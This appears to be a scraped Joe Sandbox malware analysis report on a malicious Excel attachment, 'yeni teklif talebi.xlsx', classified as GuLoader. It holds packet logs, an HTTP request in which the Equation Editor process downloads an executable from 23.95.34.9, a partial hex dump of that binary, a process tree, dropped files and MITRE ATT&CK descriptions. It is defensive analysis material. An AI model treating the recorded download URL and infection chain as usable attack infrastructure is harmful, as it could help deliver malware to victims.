May 14, 2022 15:22:35.661550999 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661564112 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661573887 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661582947 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661596060 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661618948 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661621094 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661645889 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661669016 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.661674023 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661681890 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.661701918 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.664642096 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838490963 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838522911 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838541985 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838555098 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838572979 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838589907 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838592052 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838604927 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838624001 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838634968 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838639975 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838644028 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838646889 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838660955 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838665962 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838686943 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838690042 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838700056 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838717937 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838726997 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838735104 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838752031 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838752985 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838763952 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838771105 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838783979 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838802099 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838804007 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838816881 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838820934 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838840008 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838845968 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838857889 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838874102 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838876009 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838887930 CEST	49171	80	192.168.2.22	23.95.34.9
May 14, 2022 15:22:35.838895082 CEST	80	49171	23.95.34.9	192.168.2.22
May 14, 2022 15:22:35.838901043 CEST	49171	80	192.168.2.22	23.95.34.9

HTTP Request Dependency Graph

23.95.34.9

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49171	23.95.34.9	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
May 14, 2022 15:22:35.305181026 CEST	2	OUT	GET /zaki/Komiten6.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.95.34.9 Connection: Keep-Alive
May 14, 2022 15:22:35.484261990 CEST	3	IN	HTTP/1.1 200 OK Date: Sat, 14 May 2022 13:22:35 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.0.18 Last-Modified: Fri, 13 May 2022 13:26:01 GMT ETag: "1dd5e-5dee49d9d61f9" Accept-Ranges: bytes Content-Length: 122206 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1f 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 2a 02 00 00 08 00 00 40 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 f0 07 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 d0 07 00 10 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 03 02 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 20 05 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 10 1d 00 00 00 d0 07 00 00 1e 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELOah*@6@@.textvfh `.rdatal@@.datax@.ndata .rsrc@@

Target ID:	0
Start time:	15:22:13
Start date:	14/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fef0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXEPID: 204, Parent PID: 576

General

Target ID:	2
Start time:	15:22:38
Start date:	14/05/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exePID: 2644, Parent PID: 204

General

Target ID:	4
Start time:	15:22:42
Start date:	14/05/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	122206 bytes
MD5 hash:	5D160471A3168EAC0D8C34060B4F357B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.1166385504.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 24%, ReversingLabs
Reputation:	low

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yeni teklif talebi.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Signatures

Memory Dumps

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Komiten6[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\189C2737.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3E1683BB.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\80E4BC8E.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2359081.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FCE43280.wmf

C:\Users\user\AppData\Local\Temp\KONDEMNATIONERS.Heg

C:\Users\user\AppData\Local\Temp\Overliggedagene225.ini

C:\Users\user\AppData\Local\Temp\nshD0AF.tmp\System.dll

C:\Users\user\AppData\Local\Temp\~DF3EBA8DC817904F49.TMP

C:\Users\user\AppData\Local\Temp\~DF8EEDDA710CFA1BC5.TMP

C:\Users\user\AppData\Local\Temp\~DFD156472CF2DDFD4C.TMP

C:\Users\user\AppData\Local\Temp\~DFFFED7F195E4B8B5F.TMP

C:\Users\user\Desktop\~$yeni teklif talebi.xlsx

C:\Users\Public\vbc.exe

Windows Analysis Report
yeni teklif talebi.xlsx